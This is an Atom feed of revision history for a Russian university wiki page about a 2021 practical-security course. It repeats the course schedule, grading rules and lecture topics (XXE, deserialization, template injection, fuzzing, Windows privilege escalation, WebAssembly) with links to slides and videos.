		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)&amp;diff=581"/>
		<updated>2021-05-25T12:47:13Z</updated>

		<summary type="html">&lt;p&gt;Asterite: /* Занятия */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&#039;&#039;&#039;Дополнительные главы практической безопасности&#039;&#039;&#039; — математический спецкурс по выбору, продолжение курса [[Введение_в_практическую_безопасность_(2019)|Введение в практическую безопасность]] (читавшегося в 2019 году).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Когда&#039;&#039;&#039;: во вторник, 18:20, 16 февраля 2021&lt;br /&gt;
* &#039;&#039;&#039;Где&#039;&#039;&#039;: аудитория 612, 2-й учебный корпус, планета Земля, Млечный Путь.&lt;br /&gt;
&lt;br /&gt;
Курс рекомендуется студентам, интересующимся практической безопасностью. Каждое занятие будет иметь формат воркшопа/семинара - будет практическим, на него надо приходить с ноутбуком, а также установленным софтом.&lt;br /&gt;
&lt;br /&gt;
Оценка за курс будет определяться по результатам выполнения практических заданий. За каждое из заданий будут даваться баллы, сумма баллов и определит оценку. Задания будут делиться на обязательные и бонусные. Баллы за все обязательные задания вместе дадут &#039;&#039;&#039;10000&#039;&#039;&#039;. Критерии такие:&lt;br /&gt;
* &#039;&#039;&#039;2000&#039;&#039;&#039; и больше будут давать оценку &amp;quot;отлично&amp;quot;.&lt;br /&gt;
* баллы &amp;gt;= &#039;&#039;&#039;1000&#039;&#039;&#039;, но меньше &#039;&#039;&#039;2000&#039;&#039;&#039; будут давать оценку &amp;quot;хорошо&amp;quot;&lt;br /&gt;
* баллы &amp;gt;= &#039;&#039;&#039;500&#039;&#039;&#039;, но меньше &#039;&#039;&#039;1000&#039;&#039;&#039; будут давать оценку &amp;quot;удовлетворительно&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Большая часть заданий будет выполнена в формате ctf-тасков&amp;lt;ref&amp;gt;Про CTF и CTF-команду [[Bushwhackers]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Занятия ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;16.02&#039;&#039;&#039; - Веб-безопасность — XXE ([http://xxe.course.secsem.ru/ материалы], [[Дополнительные_главы_практической_безопасности_(2021)/XXE|про эксплуатацию OOB]], [https://www.youtube.com/watch?v=movbw--okVQ видео])&lt;br /&gt;
* &#039;&#039;&#039;02.03&#039;&#039;&#039; - Веб-безопасность — небезопасная десериализация ([https://www.youtube.com/watch?v=FxVil6DUD4o видео - часть 1], [https://www.youtube.com/watch?v=MrH9tN7tvOw видео - часть 2], [//course.secsem.ru/slides/unserialize_php.pdf слайды по небезопасной десериализации PHP])&lt;br /&gt;
* &#039;&#039;&#039;09.03&#039;&#039;&#039; - Веб-безопасность — template injection ([//course.secsem.ru/slides/2021-ssti-dgpb.pdf слайды] [https://www.youtube.com/watch?v=9nFQAL06mTE видео])&lt;br /&gt;
* &#039;&#039;&#039;16.03&#039;&#039;&#039; - Ошибки неправильного использования криптографии в реальных приложениях ([//course.secsem.ru/slides/dont-roll-your-own-crypto.pdf слайды] [https://www.youtube.com/watch?v=oKvppCZkSng видео])&lt;br /&gt;
* &#039;&#039;&#039;23.03&#039;&#039;&#039; - Система типов в языке программирования Rust ([//course.secsem.ru/slides/2021-course-extended-lec5.pdf слайды], [https://youtu.be/p195JmRCvNs видео - часть 1], [https://youtu.be/eGTzK9w1egk видео - часть 2])&lt;br /&gt;
* &#039;&#039;&#039;30.03&#039;&#039;&#039; - Фаззинг бинарных программ — основы ([https://course.secsem.ru/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:%D0%A4%D0%B0%D0%B7%D0%B7%D0%B8%D0%BD%D0%B3_-_%D0%BE%D1%81%D0%BD%D0%BE%D0%B2%D1%8B.zip слайды] [https://course.secsem.ru/wiki/%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)/%D0%94%D0%BE%D0%BC%D0%B0%D1%88%D0%BD%D0%B5%D0%B5_%D0%B7%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%BF%D0%BE_%D1%84%D0%B0%D0%B7%D0%B7%D0%B8%D0%BD%D0%B3%D1%83 домашка])&lt;br /&gt;
* &#039;&#039;&#039;06.04&#039;&#039;&#039; - Фаззинг бинарных программ — примеры использования в реальной жизни ([https://www.youtube.com/watch?v=dtoUPpVwGIo видео])&lt;br /&gt;
* &#039;&#039;&#039;13.04&#039;&#039;&#039; - Фаззинг бинарных программ — возникающие проблемы и способы их решения на основе специализированных фаззеров и техник: kAFL, Redqueen, Grimoire, etc. ([https://course.secsem.ru/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:Fuzzing3.zip слайды], [https://www.youtube.com/watch?v=KK2z-jCxBwk видео])&lt;br /&gt;
* &#039;&#039;&#039;20.04&#039;&#039;&#039; - Веб-безопасность — атаки на race condition в веб-приложениях ([//course.secsem.ru/slides/race-condition-in-webapps.pdf слайды], [https://www.youtube.com/watch?v=8xQhYRinCus видео])&lt;br /&gt;
* &#039;&#039;&#039;27.04&#039;&#039;&#039; - Эскалация привилегий (LPE) в Windows ([https://course.secsem.ru/slides/LPE-on-Windows.pdf слайды], [https://www.youtube.com/watch?v=PYzuWhXSqSI видео])&lt;br /&gt;
* &#039;&#039;&#039;11.05&#039;&#039;&#039; - &#039;&#039;&#039;[дистанционно]&#039;&#039;&#039; Внутреннее устройство WebAssembly и некоторые аспекты его безопасности ([https://drive.google.com/file/d/1LWj-u2tC8S-OCV_13MW46yqbnSf_gmU7/view?usp=sharing видео])&lt;br /&gt;
&lt;br /&gt;
== Задания ==&lt;br /&gt;
&lt;br /&gt;
[[Дополнительные_главы_практической_безопасности_(2021)/Задания|Задания находятся на этой странице]]&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>Asterite</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)&amp;diff=580</id>
		<title>Дополнительные главы практической безопасности (2021)</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)&amp;diff=580"/>
		<updated>2021-05-25T12:47:04Z</updated>

		<summary type="html">&lt;p&gt;Asterite: /* Занятия */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&#039;&#039;&#039;Дополнительные главы практической безопасности&#039;&#039;&#039; — математический спецкурс по выбору, продолжение курса [[Введение_в_практическую_безопасность_(2019)|Введение в практическую безопасность]] (читавшегося в 2019 году).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Когда&#039;&#039;&#039;: во вторник, 18:20, 16 февраля 2021&lt;br /&gt;
* &#039;&#039;&#039;Где&#039;&#039;&#039;: аудитория 612, 2-й учебный корпус, планета Земля, Млечный Путь.&lt;br /&gt;
&lt;br /&gt;
Курс рекомендуется студентам, интересующимся практической безопасностью. Каждое занятие будет иметь формат воркшопа/семинара - будет практическим, на него надо приходить с ноутбуком, а также установленным софтом.&lt;br /&gt;
&lt;br /&gt;
Оценка за курс будет определяться по результатам выполнения практических заданий. За каждое из заданий будут даваться баллы, сумма баллов и определит оценку. Задания будут делиться на обязательные и бонусные. Баллы за все обязательные задания вместе дадут &#039;&#039;&#039;10000&#039;&#039;&#039;. Критерии такие:&lt;br /&gt;
* &#039;&#039;&#039;2000&#039;&#039;&#039; и больше будут давать оценку &amp;quot;отлично&amp;quot;.&lt;br /&gt;
* баллы &amp;gt;= &#039;&#039;&#039;1000&#039;&#039;&#039;, но меньше &#039;&#039;&#039;2000&#039;&#039;&#039; будут давать оценку &amp;quot;хорошо&amp;quot;&lt;br /&gt;
* баллы &amp;gt;= &#039;&#039;&#039;500&#039;&#039;&#039;, но меньше &#039;&#039;&#039;1000&#039;&#039;&#039; будут давать оценку &amp;quot;удовлетворительно&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Большая часть заданий будет выполнена в формате ctf-тасков&amp;lt;ref&amp;gt;Про CTF и CTF-команду [[Bushwhackers]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Занятия ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;16.02&#039;&#039;&#039; - Веб-безопасность — XXE ([http://xxe.course.secsem.ru/ материалы], [[Дополнительные_главы_практической_безопасности_(2021)/XXE|про эксплуатацию OOB]], [https://www.youtube.com/watch?v=movbw--okVQ видео])&lt;br /&gt;
* &#039;&#039;&#039;02.03&#039;&#039;&#039; - Веб-безопасность — небезопасная десериализация ([https://www.youtube.com/watch?v=FxVil6DUD4o видео - часть 1], [https://www.youtube.com/watch?v=MrH9tN7tvOw видео - часть 2], [//course.secsem.ru/slides/unserialize_php.pdf слайды по небезопасной десериализации PHP])&lt;br /&gt;
* &#039;&#039;&#039;09.03&#039;&#039;&#039; - Веб-безопасность — template injection ([//course.secsem.ru/slides/2021-ssti-dgpb.pdf слайды] [https://www.youtube.com/watch?v=9nFQAL06mTE видео])&lt;br /&gt;
* &#039;&#039;&#039;16.03&#039;&#039;&#039; - Ошибки неправильного использования криптографии в реальных приложениях ([//course.secsem.ru/slides/dont-roll-your-own-crypto.pdf слайды] [https://www.youtube.com/watch?v=oKvppCZkSng видео])&lt;br /&gt;
* &#039;&#039;&#039;23.03&#039;&#039;&#039; - Система типов в языке программирования Rust ([//course.secsem.ru/slides/2021-course-extended-lec5.pdf слайды], [https://youtu.be/p195JmRCvNs видео - часть 1], [https://youtu.be/eGTzK9w1egk видео - часть 2])&lt;br /&gt;
* &#039;&#039;&#039;30.03&#039;&#039;&#039; - Фаззинг бинарных программ — основы ([https://course.secsem.ru/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:%D0%A4%D0%B0%D0%B7%D0%B7%D0%B8%D0%BD%D0%B3_-_%D0%BE%D1%81%D0%BD%D0%BE%D0%B2%D1%8B.zip слайды] [https://course.secsem.ru/wiki/%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)/%D0%94%D0%BE%D0%BC%D0%B0%D1%88%D0%BD%D0%B5%D0%B5_%D0%B7%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%BF%D0%BE_%D1%84%D0%B0%D0%B7%D0%B7%D0%B8%D0%BD%D0%B3%D1%83 домашка])&lt;br /&gt;
* &#039;&#039;&#039;06.04&#039;&#039;&#039; - Фаззинг бинарных программ — примеры использования в реальной жизни [https://www.youtube.com/watch?v=dtoUPpVwGIo видео]&lt;br /&gt;
* &#039;&#039;&#039;13.04&#039;&#039;&#039; - Фаззинг бинарных программ — возникающие проблемы и способы их решения на основе специализированных фаззеров и техник: kAFL, Redqueen, Grimoire, etc. ([https://course.secsem.ru/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:Fuzzing3.zip слайды], [https://www.youtube.com/watch?v=KK2z-jCxBwk видео])&lt;br /&gt;
* &#039;&#039;&#039;20.04&#039;&#039;&#039; - Веб-безопасность — атаки на race condition в веб-приложениях ([//course.secsem.ru/slides/race-condition-in-webapps.pdf слайды], [https://www.youtube.com/watch?v=8xQhYRinCus видео])&lt;br /&gt;
* &#039;&#039;&#039;27.04&#039;&#039;&#039; - Эскалация привилегий (LPE) в Windows ([https://course.secsem.ru/slides/LPE-on-Windows.pdf слайды], [https://www.youtube.com/watch?v=PYzuWhXSqSI видео])&lt;br /&gt;
* &#039;&#039;&#039;11.05&#039;&#039;&#039; - &#039;&#039;&#039;[дистанционно]&#039;&#039;&#039; Внутреннее устройство WebAssembly и некоторые аспекты его безопасности ([https://drive.google.com/file/d/1LWj-u2tC8S-OCV_13MW46yqbnSf_gmU7/view?usp=sharing видео])&lt;br /&gt;
&lt;br /&gt;
== Задания ==&lt;br /&gt;
&lt;br /&gt;
[[Дополнительные_главы_практической_безопасности_(2021)/Задания|Задания находятся на этой странице]]&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>Asterite</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)&amp;diff=579</id>
		<title>Дополнительные главы практической безопасности (2021)</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)&amp;diff=579"/>
		<updated>2021-05-25T12:45:54Z</updated>

		<summary type="html">&lt;p&gt;Asterite: /* Занятия */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&#039;&#039;&#039;Дополнительные главы практической безопасности&#039;&#039;&#039; — математический спецкурс по выбору, продолжение курса [[Введение_в_практическую_безопасность_(2019)|Введение в практическую безопасность]] (читавшегося в 2019 году).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Когда&#039;&#039;&#039;: во вторник, 18:20, 16 февраля 2021&lt;br /&gt;
* &#039;&#039;&#039;Где&#039;&#039;&#039;: аудитория 612, 2-й учебный корпус, планета Земля, Млечный Путь.&lt;br /&gt;
&lt;br /&gt;
Курс рекомендуется студентам, интересующимся практической безопасностью. Каждое занятие будет иметь формат воркшопа/семинара - будет практическим, на него надо приходить с ноутбуком, а также установленным софтом.&lt;br /&gt;
&lt;br /&gt;
Оценка за курс будет определяться по результатам выполнения практических заданий. За каждое из заданий будут даваться баллы, сумма баллов и определит оценку. Задания будут делиться на обязательные и бонусные. Баллы за все обязательные задания вместе дадут &#039;&#039;&#039;10000&#039;&#039;&#039;. Критерии такие:&lt;br /&gt;
* &#039;&#039;&#039;2000&#039;&#039;&#039; и больше будут давать оценку &amp;quot;отлично&amp;quot;.&lt;br /&gt;
* баллы &amp;gt;= &#039;&#039;&#039;1000&#039;&#039;&#039;, но меньше &#039;&#039;&#039;2000&#039;&#039;&#039; будут давать оценку &amp;quot;хорошо&amp;quot;&lt;br /&gt;
* баллы &amp;gt;= &#039;&#039;&#039;500&#039;&#039;&#039;, но меньше &#039;&#039;&#039;1000&#039;&#039;&#039; будут давать оценку &amp;quot;удовлетворительно&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Большая часть заданий будет выполнена в формате ctf-тасков&amp;lt;ref&amp;gt;Про CTF и CTF-команду [[Bushwhackers]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Занятия ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;16.02&#039;&#039;&#039; - Веб-безопасность — XXE ([http://xxe.course.secsem.ru/ материалы], [[Дополнительные_главы_практической_безопасности_(2021)/XXE|про эксплуатацию OOB]], [https://www.youtube.com/watch?v=movbw--okVQ видео])&lt;br /&gt;
* &#039;&#039;&#039;02.03&#039;&#039;&#039; - Веб-безопасность — небезопасная десериализация ([https://www.youtube.com/watch?v=FxVil6DUD4o видео - часть 1], [https://www.youtube.com/watch?v=MrH9tN7tvOw видео - часть 2], [//course.secsem.ru/slides/unserialize_php.pdf слайды по небезопасной десериализации PHP])&lt;br /&gt;
* &#039;&#039;&#039;09.03&#039;&#039;&#039; - Веб-безопасность — template injection ([//course.secsem.ru/slides/2021-ssti-dgpb.pdf слайды] [https://www.youtube.com/watch?v=9nFQAL06mTE видео])&lt;br /&gt;
* &#039;&#039;&#039;16.03&#039;&#039;&#039; - Ошибки неправильного использования криптографии в реальных приложениях ([//course.secsem.ru/slides/dont-roll-your-own-crypto.pdf слайды] [https://www.youtube.com/watch?v=oKvppCZkSng видео])&lt;br /&gt;
* &#039;&#039;&#039;23.03&#039;&#039;&#039; - Система типов в языке программирования Rust ([//course.secsem.ru/slides/2021-course-extended-lec5.pdf слайды], [https://youtu.be/p195JmRCvNs видео - часть 1], [https://youtu.be/eGTzK9w1egk видео - часть 2])&lt;br /&gt;
* &#039;&#039;&#039;30.03&#039;&#039;&#039; - Фаззинг бинарных программ — основы ([https://course.secsem.ru/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:%D0%A4%D0%B0%D0%B7%D0%B7%D0%B8%D0%BD%D0%B3_-_%D0%BE%D1%81%D0%BD%D0%BE%D0%B2%D1%8B.zip слайды] [https://course.secsem.ru/wiki/%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)/%D0%94%D0%BE%D0%BC%D0%B0%D1%88%D0%BD%D0%B5%D0%B5_%D0%B7%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%BF%D0%BE_%D1%84%D0%B0%D0%B7%D0%B7%D0%B8%D0%BD%D0%B3%D1%83 домашка])&lt;br /&gt;
* &#039;&#039;&#039;06.04&#039;&#039;&#039; - Фаззинг бинарных программ — примеры использования в реальной жизни&lt;br /&gt;
* &#039;&#039;&#039;13.04&#039;&#039;&#039; - Фаззинг бинарных программ — возникающие проблемы и способы их решения на основе специализированных фаззеров и техник: kAFL, Redqueen, Grimoire, etc. ([https://course.secsem.ru/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:Fuzzing3.zip слайды], [https://www.youtube.com/watch?v=KK2z-jCxBwk видео])&lt;br /&gt;
* &#039;&#039;&#039;20.04&#039;&#039;&#039; - Веб-безопасность — атаки на race condition в веб-приложениях ([//course.secsem.ru/slides/race-condition-in-webapps.pdf слайды], [https://www.youtube.com/watch?v=8xQhYRinCus видео])&lt;br /&gt;
* &#039;&#039;&#039;27.04&#039;&#039;&#039; - Эскалация привилегий (LPE) в Windows ([https://course.secsem.ru/slides/LPE-on-Windows.pdf слайды], [https://www.youtube.com/watch?v=PYzuWhXSqSI видео])&lt;br /&gt;
* &#039;&#039;&#039;11.05&#039;&#039;&#039; - &#039;&#039;&#039;[дистанционно]&#039;&#039;&#039; Внутреннее устройство WebAssembly и некоторые аспекты его безопасности ([https://drive.google.com/file/d/1LWj-u2tC8S-OCV_13MW46yqbnSf_gmU7/view?usp=sharing видео])&lt;br /&gt;
&lt;br /&gt;
== Задания ==&lt;br /&gt;
&lt;br /&gt;
[[Дополнительные_главы_практической_безопасности_(2021)/Задания|Задания находятся на этой странице]]&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>Asterite</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)&amp;diff=578</id>
		<title>Дополнительные главы практической безопасности (2021)</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)&amp;diff=578"/>
		<updated>2021-05-25T12:45:46Z</updated>

		<summary type="html">&lt;p&gt;Asterite: /* Занятия */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&#039;&#039;&#039;Дополнительные главы практической безопасности&#039;&#039;&#039; — математический спецкурс по выбору, продолжение курса [[Введение_в_практическую_безопасность_(2019)|Введение в практическую безопасность]] (читавшегося в 2019 году).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Когда&#039;&#039;&#039;: во вторник, 18:20, 16 февраля 2021&lt;br /&gt;
* &#039;&#039;&#039;Где&#039;&#039;&#039;: аудитория 612, 2-й учебный корпус, планета Земля, Млечный Путь.&lt;br /&gt;
&lt;br /&gt;
Курс рекомендуется студентам, интересующимся практической безопасностью. Каждое занятие будет иметь формат воркшопа/семинара - будет практическим, на него надо приходить с ноутбуком, а также установленным софтом.&lt;br /&gt;
&lt;br /&gt;
Оценка за курс будет определяться по результатам выполнения практических заданий. За каждое из заданий будут даваться баллы, сумма баллов и определит оценку. Задания будут делиться на обязательные и бонусные. Баллы за все обязательные задания вместе дадут &#039;&#039;&#039;10000&#039;&#039;&#039;. Критерии такие:&lt;br /&gt;
* &#039;&#039;&#039;2000&#039;&#039;&#039; и больше будут давать оценку &amp;quot;отлично&amp;quot;.&lt;br /&gt;
* баллы &amp;gt;= &#039;&#039;&#039;1000&#039;&#039;&#039;, но меньше &#039;&#039;&#039;2000&#039;&#039;&#039; будут давать оценку &amp;quot;хорошо&amp;quot;&lt;br /&gt;
* баллы &amp;gt;= &#039;&#039;&#039;500&#039;&#039;&#039;, но меньше &#039;&#039;&#039;1000&#039;&#039;&#039; будут давать оценку &amp;quot;удовлетворительно&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Большая часть заданий будет выполнена в формате ctf-тасков&amp;lt;ref&amp;gt;Про CTF и CTF-команду [[Bushwhackers]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Занятия ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;16.02&#039;&#039;&#039; - Веб-безопасность — XXE ([http://xxe.course.secsem.ru/ материалы], [[Дополнительные_главы_практической_безопасности_(2021)/XXE|про эксплуатацию OOB]] [https://www.youtube.com/watch?v=movbw--okVQ видео])&lt;br /&gt;
* &#039;&#039;&#039;02.03&#039;&#039;&#039; - Веб-безопасность — небезопасная десериализация ([https://www.youtube.com/watch?v=FxVil6DUD4o видео - часть 1], [https://www.youtube.com/watch?v=MrH9tN7tvOw видео - часть 2], [//course.secsem.ru/slides/unserialize_php.pdf слайды по небезопасной десериализации PHP])&lt;br /&gt;
* &#039;&#039;&#039;09.03&#039;&#039;&#039; - Веб-безопасность — template injection ([//course.secsem.ru/slides/2021-ssti-dgpb.pdf слайды] [https://www.youtube.com/watch?v=9nFQAL06mTE видео])&lt;br /&gt;
* &#039;&#039;&#039;16.03&#039;&#039;&#039; - Ошибки неправильного использования криптографии в реальных приложениях ([//course.secsem.ru/slides/dont-roll-your-own-crypto.pdf слайды] [https://www.youtube.com/watch?v=oKvppCZkSng видео])&lt;br /&gt;
* &#039;&#039;&#039;23.03&#039;&#039;&#039; - Система типов в языке программирования Rust ([//course.secsem.ru/slides/2021-course-extended-lec5.pdf слайды], [https://youtu.be/p195JmRCvNs видео - часть 1], [https://youtu.be/eGTzK9w1egk видео - часть 2])&lt;br /&gt;
* &#039;&#039;&#039;30.03&#039;&#039;&#039; - Фаззинг бинарных программ — основы ([https://course.secsem.ru/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:%D0%A4%D0%B0%D0%B7%D0%B7%D0%B8%D0%BD%D0%B3_-_%D0%BE%D1%81%D0%BD%D0%BE%D0%B2%D1%8B.zip слайды] [https://course.secsem.ru/wiki/%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)/%D0%94%D0%BE%D0%BC%D0%B0%D1%88%D0%BD%D0%B5%D0%B5_%D0%B7%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%BF%D0%BE_%D1%84%D0%B0%D0%B7%D0%B7%D0%B8%D0%BD%D0%B3%D1%83 домашка])&lt;br /&gt;
* &#039;&#039;&#039;06.04&#039;&#039;&#039; - Фаззинг бинарных программ — примеры использования в реальной жизни&lt;br /&gt;
* &#039;&#039;&#039;13.04&#039;&#039;&#039; - Фаззинг бинарных программ — возникающие проблемы и способы их решения на основе специализированных фаззеров и техник: kAFL, Redqueen, Grimoire, etc. ([https://course.secsem.ru/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:Fuzzing3.zip слайды], [https://www.youtube.com/watch?v=KK2z-jCxBwk видео])&lt;br /&gt;
* &#039;&#039;&#039;20.04&#039;&#039;&#039; - Веб-безопасность — атаки на race condition в веб-приложениях ([//course.secsem.ru/slides/race-condition-in-webapps.pdf слайды], [https://www.youtube.com/watch?v=8xQhYRinCus видео])&lt;br /&gt;
* &#039;&#039;&#039;27.04&#039;&#039;&#039; - Эскалация привилегий (LPE) в Windows ([https://course.secsem.ru/slides/LPE-on-Windows.pdf слайды], [https://www.youtube.com/watch?v=PYzuWhXSqSI видео])&lt;br /&gt;
* &#039;&#039;&#039;11.05&#039;&#039;&#039; - &#039;&#039;&#039;[дистанционно]&#039;&#039;&#039; Внутреннее устройство WebAssembly и некоторые аспекты его безопасности ([https://drive.google.com/file/d/1LWj-u2tC8S-OCV_13MW46yqbnSf_gmU7/view?usp=sharing видео])&lt;br /&gt;
&lt;br /&gt;
== Задания ==&lt;br /&gt;
&lt;br /&gt;
[[Дополнительные_главы_практической_безопасности_(2021)/Задания|Задания находятся на этой странице]]&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>Asterite</name></author>
	</entry>
	<entry>
